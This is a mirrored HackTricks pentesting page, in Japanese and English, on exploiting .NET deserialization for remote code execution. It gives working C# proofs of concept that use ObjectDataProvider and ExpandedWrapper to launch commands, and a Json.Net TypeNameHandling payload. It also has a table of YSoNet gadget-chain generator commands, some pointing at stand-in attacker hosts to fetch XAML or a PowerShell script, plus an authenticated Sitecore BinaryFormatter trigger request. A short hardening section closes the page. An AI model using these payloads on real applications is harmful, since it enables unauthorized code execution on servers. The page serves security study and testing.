mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
264 lines
16 KiB
Markdown
264 lines
16 KiB
Markdown
# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
この投稿は、**ObjectDataProvider ガジェットがどのように悪用されて RCE を得るか**、およびそのガジェットとともにシリアライゼーションライブラリ **Json.Net と xmlSerializer がどのように悪用され得るか** を理解することに捧げられています。
|
||
|
||
## ObjectDataProvider Gadget
|
||
|
||
ドキュメントによると: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
|
||
説明はちょっと曖昧なので、このクラスの何が興味深いのか見てみましょう: このクラスは **任意のオブジェクトをラップし**、_**MethodParameters**_ を使って **任意のパラメータを設定し**、その後 **MethodName を使ってその任意のオブジェクトの任意の関数を任意のパラメータで呼び出す** ことを可能にします。\
|
||
つまり、任意の **object** は**復号化(deserialized)される際に**、**パラメータ付きの関数を実行する**ことになります。
|
||
|
||
### **How is this possible**
|
||
|
||
**System.Windows.Data** 名前空間は `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` にある **PresentationFramework.dll** 内に定義・実装されており、そこに ObjectDataProvider が存在します。
|
||
|
||
[**dnSpy**](https://github.com/0xd4d/dnSpy) を使えば、対象クラスの **コードを調査** できます。下の画像は **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** のコードを示しています。
|
||
|
||
.png>)
|
||
|
||
ご覧のとおり `MethodName` が設定されると `base.Refresh()` が呼ばれます。ではそれが何をするか見てみましょう:
|
||
|
||
.png>)
|
||
|
||
次に `this.BeginQuery()` が何をするかを見ていきます。`BeginQuery` は `ObjectDataProvider` によってオーバーライドされており、以下のようになっています:
|
||
|
||
.png>)
|
||
|
||
コードの最後で `this.QueryWorke(null)` を呼んでいることに注意してください。これが何を実行するか見てみましょう:
|
||
|
||
.png>)
|
||
|
||
これは `QueryWorker` 関数の完全なコードではありませんが、興味深い部分を示しています: コードは **`this.InvokeMethodOnInstance(out ex);` を呼んでいる** — ここが **設定されたメソッドが実行される** 行です。
|
||
|
||
単に _**MethodName**_ を設定するだけで **それが実行される** ことを確認したければ、次のコードを実行できます:
|
||
```java
|
||
using System.Windows.Data;
|
||
using System.Diagnostics;
|
||
|
||
namespace ODPCustomSerialExample
|
||
{
|
||
class Program
|
||
{
|
||
static void Main(string[] args)
|
||
{
|
||
ObjectDataProvider myODP = new ObjectDataProvider();
|
||
myODP.ObjectType = typeof(Process);
|
||
myODP.MethodParameters.Add("cmd.exe");
|
||
myODP.MethodParameters.Add("/c calc.exe");
|
||
myODP.MethodName = "Start";
|
||
}
|
||
}
|
||
}
|
||
```
|
||
Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ in order to load `System.Windows.Data`
|
||
|
||
## ExpandedWrapper
|
||
|
||
Using the previous exploit there will be cases where the **object** is going to be **deserialized as** an _**ObjectDataProvider**_ instance (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using `GetType`). Then, will have **no knowledge of the object type that is wrapped** in the _ObjectDataProvider_ instance (`Process` for example). You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
|
||
|
||
このクラスは、あるインスタンスにカプセル化されているオブジェクトの型を**指定することを可能にします**。したがって、このクラスはソースオブジェクト(_ObjectDataProvider_)を新しいオブジェクト型にカプセル化し、必要なプロパティ(_ObjectDataProvider.MethodName_ と _ObjectDataProvider.MethodParameters_)を提供するために使用できます。\
|
||
これは前述のようなケースで非常に有用です。なぜなら、_ObjectDataProvider_ を **_ExpandedWrapper_ インスタンス内にラップ** でき、**デシリアライズされたときに** このクラスが _ObjectDataProvider_ オブジェクトを**生成し**、_**MethodName**_ に示された**関数を実行する**からです。
|
||
|
||
You can check this wrapper with the following code:
|
||
```java
|
||
using System.Windows.Data;
|
||
using System.Diagnostics;
|
||
using System.Data.Services.Internal;
|
||
|
||
namespace ODPCustomSerialExample
|
||
{
|
||
class Program
|
||
{
|
||
static void Main(string[] args)
|
||
{
|
||
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
|
||
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
|
||
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
|
||
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
|
||
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
|
||
myExpWrap.ProjectedProperty0.MethodName = "Start";
|
||
}
|
||
}
|
||
}
|
||
```
|
||
## Json.Net
|
||
|
||
In the [official web page](https://www.newtonsoft.com/json) it is indicated that this library allows to **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. したがって、もし **deserialize the ObjectDataProvider gadget** が可能であれば、オブジェクトをデシリアライズするだけで **RCE** を引き起こすことができます。
|
||
|
||
### Json.Net の例
|
||
|
||
まずは、このライブラリを使ってオブジェクトを**serialize/deserialize**する方法の例を見てみましょう:
|
||
```java
|
||
using System;
|
||
using Newtonsoft.Json;
|
||
using System.Diagnostics;
|
||
using System.Collections.Generic;
|
||
|
||
namespace DeserializationTests
|
||
{
|
||
public class Account
|
||
{
|
||
public string Email { get; set; }
|
||
public bool Active { get; set; }
|
||
public DateTime CreatedDate { get; set; }
|
||
public IList<string> Roles { get; set; }
|
||
}
|
||
class Program
|
||
{
|
||
static void Main(string[] args)
|
||
{
|
||
Account account = new Account
|
||
{
|
||
Email = "james@example.com",
|
||
Active = true,
|
||
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
|
||
Roles = new List<string>
|
||
{
|
||
"User",
|
||
"Admin"
|
||
}
|
||
};
|
||
//Serialize the object and print it
|
||
string json = JsonConvert.SerializeObject(account);
|
||
Console.WriteLine(json);
|
||
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
|
||
|
||
//Deserialize it
|
||
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
|
||
Console.WriteLine(desaccount.Email);
|
||
}
|
||
}
|
||
}
|
||
```
|
||
### Json.Netの悪用
|
||
|
||
[ysoserial.net](https://github.com/pwntester/ysoserial.net) を使用して、exploitを作成しました:
|
||
```java
|
||
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
|
||
{
|
||
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
|
||
'MethodName':'Start',
|
||
'MethodParameters':{
|
||
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
|
||
'$values':['cmd', '/c calc.exe']
|
||
},
|
||
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
|
||
}
|
||
```
|
||
このコードでは**test the exploit**ができます。実行すると calc が実行されるのを確認できます:
|
||
```java
|
||
using System;
|
||
using System.Text;
|
||
using Newtonsoft.Json;
|
||
|
||
namespace DeserializationTests
|
||
{
|
||
class Program
|
||
{
|
||
static void Main(string[] args)
|
||
{
|
||
//Declare exploit
|
||
string userdata = @"{
|
||
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
|
||
'MethodName':'Start',
|
||
'MethodParameters':{
|
||
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
|
||
'$values':['cmd', '/c calc.exe']
|
||
},
|
||
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
|
||
}";
|
||
//Exploit to base64
|
||
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
|
||
|
||
//Get data from base64
|
||
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
|
||
//Deserialize data
|
||
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
|
||
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
|
||
{
|
||
TypeNameHandling = TypeNameHandling.Auto
|
||
});
|
||
}
|
||
}
|
||
}
|
||
```
|
||
## Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
|
||
|
||
上で紹介した ObjectDataProvider + ExpandedWrapper 技術は、アプリケーションが **unsafe .NET deserialization** を行う場合に悪用され得る多数の gadget chain のうちの一つに過ぎません。Modern red-team ツールである **[YSoNet](https://github.com/irsdl/ysonet)**(旧来の [ysoserial.net](https://github.com/pwntester/ysoserial.net) を含む)は、何十種類もの gadgets やシリアライゼーション形式向けに、すぐに使える悪意あるオブジェクトグラフを自動生成します。
|
||
|
||
Below is a condensed reference of the most useful chains shipped with *YSoNet* together with a quick explanation of how they work and example commands to generate the payloads.
|
||
|
||
| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
|
||
|--------------|----------------------|--------------------|------------------|
|
||
| **TypeConfuseDelegate** | `DelegateSerializationHolder` レコードを破損させ、マテリアライズ後にデリゲートが攻撃者指定の任意のメソッド(例: `Process.Start`)を指すようにする | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
|
||
| **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector` を悪用して **.NET ≥4.8 の type-filtering をバイパス** し、指定したクラスの **constructor** を直接呼び出すか、C# ファイルをその場で **compile** する | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
|
||
| **DataSetOldBehaviour** | `System.Data.DataSet` の **レガシー XML** 表現を利用し、`<ColumnMapping>` / `<DataType>` フィールドを埋めることで任意の型をインスタンス化する(`--spoofedAssembly` でアセンブリを偽装可能) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
|
||
| **GetterCompilerResults** | WPF 対応ランタイム(> .NET 5)でプロパティゲッターを連鎖させ `System.CodeDom.Compiler.CompilerResults` に到達し、`-c` で指定した DLL を *compile* または *load* する | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
|
||
| **ObjectDataProvider** (review) | WPF の `System.Windows.Data.ObjectDataProvider` を使って、制御可能な引数で任意の static メソッドを呼び出す。YSoNet は悪意ある XAML をリモートでホストする便利な `--xamlurl` 変種を追加している | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
|
||
| **PSObject (CVE-2017-8565)** | `ScriptBlock` を `System.Management.Automation.PSObject` に埋め込み、PowerShell がオブジェクトを deserialize した際に実行される | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
|
||
|
||
> [!TIP]
|
||
> すべてのペイロードはデフォルトで **stdout に書き出されます**。そのため ViewState generators、base64 encoders、HTTP clients などの他ツールにパイプで渡すのが簡単です。
|
||
|
||
### Building / Installing YSoNet
|
||
|
||
If no pre-compiled binaries are available under *Actions ➜ Artifacts* / *Releases*, the following **PowerShell** one-liner will set up a build environment, clone the repository and compile everything in *Release* mode:
|
||
```powershell
|
||
Set-ExecutionPolicy Bypass -Scope Process -Force;
|
||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
|
||
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
|
||
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
|
||
|
||
git clone https://github.com/irsdl/ysonet
|
||
cd ysonet
|
||
nuget restore ysonet.sln
|
||
msbuild ysonet.sln -p:Configuration=Release
|
||
```
|
||
The compiled `ysonet.exe` can then be found under `ysonet/bin/Release/`.
|
||
|
||
### 検出とハードニング
|
||
* **検出** `w3wp.exe`、`PowerShell.exe`、またはユーザー提供データをデシリアライズする任意のプロセス(例:`MessagePack`、`Json.NET`)の想定外の子プロセスを検知する。
|
||
* レガシーの `BinaryFormatter` / `NetDataContractSerializer` を削除できない場合は、`TypeFilterLevel` = *Full*、カスタム `SurrogateSelector`、`SerializationBinder` 等を使用して **型フィルタリングを有効化および強制** する。
|
||
* 可能であれば、ホワイトリストベースのコンバーターを使って **`System.Text.Json`** または **`DataContractJsonSerializer`** に移行する。
|
||
* 決して必要としない web プロセスで `PresentationFramework`、`System.Workflow.*` といった危険な WPF アセンブリがロードされないようブロックする。
|
||
|
||
## 実際の sink: Sitecore convertToRuntimeHtml → BinaryFormatter
|
||
|
||
認証済みの Sitecore XP Content Editor フローから到達可能な実用的な .NET sink:
|
||
|
||
- Sink API: `Sitecore.Convert.Base64ToObject(string)` は `new BinaryFormatter().Deserialize(...)` をラップしている。
|
||
- トリガー経路: パイプライン `convertToRuntimeHtml` → `ConvertWebControls` は、`id="{iframeId}_inner"` を持つ兄弟要素を検索し、base64 エンコードされたシリアライズ済みデータとして扱われる `value` 属性を読み取る。結果は string にキャストされて HTML に挿入される。
|
||
|
||
Minimal end‑to‑end (authenticated):
|
||
```
|
||
// Load HTML into EditHtml session
|
||
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
|
||
Content-Type: application/x-www-form-urlencoded
|
||
|
||
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
|
||
<html>
|
||
<iframe id="test" src="poc"></iframe>
|
||
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
|
||
</html>
|
||
|
||
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
|
||
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
|
||
```
|
||
- Gadget: 任意の BinaryFormatter チェーンで string を返す(デシリアライズ中に副作用が実行される)。YSoNet/ysoserial.net を参照して payloads を生成する。
|
||
|
||
Sitecore における HTML cache poisoning による pre‑auth から始まり、この sink に至る完全なチェーンについては次を参照:
|
||
|
||
{{#ref}}
|
||
../../network-services-pentesting/pentesting-web/sitecore/README.md
|
||
{{#endref}}
|
||
|
||
## 参考
|
||
- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
|
||
- [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net)
|
||
- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
|
||
- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|